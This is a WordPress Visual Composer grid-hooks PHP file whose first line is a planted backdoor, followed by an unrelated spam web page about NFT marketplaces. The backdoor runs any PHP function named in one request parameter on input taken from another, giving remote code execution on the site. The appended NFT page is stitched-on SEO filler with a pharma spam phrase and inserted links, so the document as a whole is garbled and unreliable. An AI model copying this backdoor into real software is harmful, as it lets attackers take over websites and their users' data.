?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); } Guide to the Best NFT Marketplaces for 2023 - Groupe-SLG

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Guide to the Best NFT Marketplaces for 2023

Recrutement :

buy Provigil Where Bitcoin was hailed as the digital answer to currency, NFTs are now being touted as the digital answer to collectables, but plenty of sceptics fear they’re a bubble waiting to burst. Real or not, it was an incredible piece of performance art, sparking a conversation (okay, closer to a flame war) about the right-clicker mindset. Experts have warned that files could still end up on a single computer, and could be lost in the case of a hard drive crash.

what is NFT

The sculpture could be copied or forged — or someone could break into your house and steal it — but because you have the certificate of authenticity, you can prove that you are the owner of the original. Well, until pretty recently, nonfungible goods didn’t really exist on the internet. Even celebrities like Snoop Dogg, Lindsay Lohan, Amitabh Bachchan and Salman Khan are jumping on the NFT bandwagon, releasing unique memories, artwork and moments as securitized NFTs. Perhaps like the dot-com crash of the early 2000s, many NFT startups will wither away under the market’s intense scrutiny—and the few that survive will remake the digital world.

NFTs are unique digital assets that can represent anything from music to digital art to in-game items and virtual real estate. One can consider a variety of unique digital assets based on personal preferences and interests at the NFT supermarket. Digital art is a popular https://www.xcritical.in/ category that includes unique pieces made by upcoming and well-known creators. These range from one-of-a-kind in-game items to virtual trading cards. Recent times have also seen sports-related NFTs like game highlights or limited edition player cards gain popularity.

what is NFT

« The underlying thing that you’re buying is code that manifests as images, » said Donna Redel, who teaches courses on crypto-digital assets at Fordham Law School. Many NFTs can only be purchased with ether (ETH), so owning some of this cryptocurrency—and storing it in a digital wallet—is usually the first step. You can purchase NFTs via any of the online NFT marketplaces, including OpenSea, Rarible, and SuperRare. Although these platforms and others are host to thousands of NFT creators and collectors, be sure you do your research carefully before buying. Some artists have fallen victim to impersonators who have listed and sold their work without their permission.

Please feel free to drop them in the comments section of this article, and our experts will get back to you as soon as possible. Scammers also use false information, such as fake reviews or celebrity endorsements to create a false sense of value and authenticity. According to some, Colored Coins, which was initiated in 2012, has the honor of being the first NFT. In the words of investor Andrew Steinworld, he said that one might argue that the Colored Coins were the NFT that first came into existence. Colored Coins exhibited a major leap in the capabilities of Bitcoin, however, they had a downside too.

In addition, artists can program in royalties so they’ll receive a percentage of sales whenever their art is sold to a new owner. This is an attractive feature as artists generally do not receive future proceeds after their art is first sold. Essentially non-fungible means non-replaceable or one of a kind. In the past, if you were a digital artist, you create a piece of work and you put it on Instagram for everybody to see, but how do you earn money from that?

For instance, an item such as a dollar bill is fungible when it is interchangeable with any other dollar bill. Contrastingly, non-fungible means the item is unique or distinguishable. For example, if you take a dollar bill and have it signed by a famous artist, it will become unique. These unique NBA moments are minted and released into the marketplace via how to create an NFT “pack drops.” The most common sell for only nine dollars, but more exclusive packs can sell for much more. Because the contents of NFTs are publicly accessible, anybody can easily copy a file referenced by an NFT. Furthermore, the ownership of an NFT on the blockchain does not inherently convey legally enforceable intellectual property rights to the file.

OpenSea and Rarible, for example, do not require owner verification for NFT listings. Buyer protections appear to be sparse at best, so when shopping for NFTs, it may be best to keep the old adage “caveat emptor” (let the buyer beware) in mind. Brands like Charmin and Taco Bell have auctioned off themed NFT art to raise funds for charity.

  • If you have money to spare, it may be worth considering, especially if a piece holds meaning for you.
  • I don’t think anyone can stop you, but that’s not really what I meant.
  • Their royalty system ensures artists continue to earn from secondary sales, promoting a sustainable creator ecosystem.
  • There are many places online where you can sign up to get a digital wallet for NFTs, like Metamask or Math Wallet.

An NFT sword you purchase in one video game might come in handy in a different game. Or a cartoon animal you’ve bought as an NFT could become your avatar in a V.R. And if you get mad at OpenSea, you can easily take your NFTs (which live in your crypto wallet, not on OpenSea’s servers) and trade them on a different platform. Several years ago, people realized that blockchains (the shared, decentralized databases that power Bitcoin and other cryptocurrencies) could be used to create unique, uncopyable digital files. And because these files were simply entries on a public database, anyone could verify who owned them, or track them as they changed hands. First, you’ll need to get a digital wallet that allows you to store NFTs and cryptocurrencies.

what is NFT

In the same way, NFTs can be used to trade and create virtual assets in the gaming industry, including virtual real estate and in-game items. NFTs can be beneficial to the music industry by creating one-of-a-kind digital collectibles, while in sports, they can offer fan experiences and limited-edition memorabilia. Besides these, NFTs can also be used to verify and authenticate the ownership of physical assets like real estate and luxury goods.

That really depends on whether you’re an artist or a buyer. This kind of club isn’t really a new phenomenon — people have long built communities based on things they own, and now it’s happening with NFTs. It could be argued that one of the earliest NFT projects, CryptoPunks, got big thanks to its community.

Transactions are conducted with cryptocurrency and require a compatible digital wallet. A work called Nyan Cat by Chris Torres sold for $590,000 recently. It’s part of growing interest in digital assets, known as nonfungible tokens, or NFTs, that are generating millions of dollars in sales every day. An NFT is a digital asset that represents real-world objects like art, music, in-game items and videos.

Importantly, NFTs don’t necessarily hold the data for the asset itself (though some do), nor do they necessarily transfer copyright. Most often, an NFT contains a URL that links to the asset, which is stored on a separate computer network. Blockchains’ exhaustive record-keeping means that apps built atop them can create snippets of code that can be tracked as distinct entities and transferred from user to user.

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